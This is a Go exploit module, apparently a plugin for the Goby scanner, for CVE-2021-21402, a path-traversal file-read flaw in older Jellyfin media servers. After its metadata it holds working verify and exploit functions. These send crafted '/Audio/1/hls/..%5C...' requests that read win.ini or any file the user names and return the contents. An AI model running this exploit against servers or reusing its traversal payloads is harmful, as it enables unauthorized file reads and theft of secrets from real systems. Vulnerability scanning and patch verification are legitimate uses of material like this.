-
Notifications
You must be signed in to change notification settings - Fork 0
/
Jellyfin_Audio_File_read_CVE_2021_21402.go
118 lines (115 loc) · 3.72 KB
/
Jellyfin_Audio_File_read_CVE_2021_21402.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
package exploits
import (
"fmt"
"git.gobies.org/goby/goscanner/goutils"
"git.gobies.org/goby/goscanner/jsonvul"
"git.gobies.org/goby/goscanner/scanconfig"
"git.gobies.org/goby/httpclient"
"net/url"
"strings"
)
func init() {
expJson := `{
"Name": "Jellyfin Audio File read (CVE-2021-21402)",
"Description": "Jellyfin is a Free Software Media System. In Jellyfin before version 10.7.1, with certain endpoints, well crafted requests will allow arbitrary file read from a Jellyfin server's file system. This issue is more prevalent when Windows is used as the host OS. Servers that are exposed to the public Internet are potentially at risk. This is fixed in version 10.7.1. As a workaround, users may be able to restrict some access by enforcing strict security permissions on their filesystem, however, it is recommended to update as soon as possible.",
"Product": "Jellyfin",
"Homepage": "https://jellyfin.org/",
"DisclosureDate": "2021-03-23",
"Author": "PeiQi",
"GobyQuery": "title=\"Jellyfin\"",
"Level": "2",
"Impact": "File read",
"Recommendation": "Update patches in time",
"References": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21402",
"RealReferences": [
"https://github.com/jellyfin/jellyfin/commit/0183ef8e89195f420c48d2600bc0b72f6d3a7fd7",
"https://github.com/jellyfin/jellyfin/releases/tag/v10.7.1",
"https://github.com/jellyfin/jellyfin/security/advisories/GHSA-wg4c-c9g9-rxhx",
"https://nvd.nist.gov/vuln/detail/CVE-2021-21402",
"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21402"
],
"HasExp": true,
"ExpParams": [
{
"name": "File",
"type": "input",
"value": "windows/win.ini"
}
],
"ExpTips": {
"Type": "",
"Content": ""
},
"ScanSteps": [
"AND",
{
"Request": {
"data": "",
"data_type": "text",
"follow_redirect": true,
"method": "GET",
"uri": "/"
},
"ResponseTest": {
"checks": [
{
"bz": "",
"operation": "==",
"type": "item",
"value": "200",
"variable": "$code"
}
],
"operation": "AND",
"type": "group"
}
}
],
"ExploitSteps": null,
"Tags": ["File read"],
"CVEIDs": [
"CVE-2021-21402"
],
"CVSSScore": "6.5",
"AttackSurfaces": {
"Application": ["Jellyfin"],
"Support": null,
"Service": null,
"System": null,
"Hardware": null
},
"Disable": false
}`
ExpManager.AddExploit(NewExploit(
goutils.GetFileName(),
expJson,
func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool {
uri := "/Audio/1/hls/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.mp3/"
cfg := httpclient.NewGetRequestConfig(uri)
cfg.VerifyTls = false
cfg.FollowRedirect = false
cfg.Header.Store("Content-type", "application/x-www-form-urlencoded")
if resp, err := httpclient.DoHttpRequest(u, cfg); err == nil {
return resp.StatusCode == 200 && strings.Contains(resp.Utf8Html, "extensions")
}
return false
},
func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult {
file := ss.Params["File"].(string)
file = strings.Replace(file, "/", "\\", -1)
file = url.QueryEscape(file)
uri := "/Audio/1/hls/..%5C..%5C..%5C..%5C..%5C..%5C" + file + "/stream.mp3/"
cfg := httpclient.NewGetRequestConfig(uri)
cfg.VerifyTls = false
cfg.FollowRedirect = false
cfg.Header.Store("Content-type", "application/x-www-form-urlencoded")
if resp, err := httpclient.DoHttpRequest(expResult.HostInfo, cfg); err == nil {
if resp.StatusCode == 200 {
expResult.Output = resp.Utf8Html
expResult.Success = true
}
}
return expResult
},
))
}